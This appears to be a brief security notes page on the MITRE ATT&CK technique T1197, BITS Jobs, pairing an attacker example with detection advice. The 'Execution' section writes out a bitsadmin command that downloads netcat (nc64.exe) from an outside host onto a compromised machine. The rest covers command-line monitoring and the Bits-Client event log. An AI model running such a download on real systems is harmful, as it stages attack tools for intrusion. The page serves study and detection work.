BITS Jobs

File upload to the compromised system.

Execution

attacker@victim

bitsadmin /transfer myjob /download /priority high http://10.0.0.5/nc64.exe c:\temp\nc.exe

Observations

Commandline arguments monitoring can help discover bitsadmin usage:

Application Logs > Microsoft > Windows > Bits-Client > Operational shows logs related to jobs, which you may want to monitor as well. An example of one of the jobs:

References

BITS Jobs, Technique T1197 - Enterprise | MITRE ATT&CK®attack.mitre.org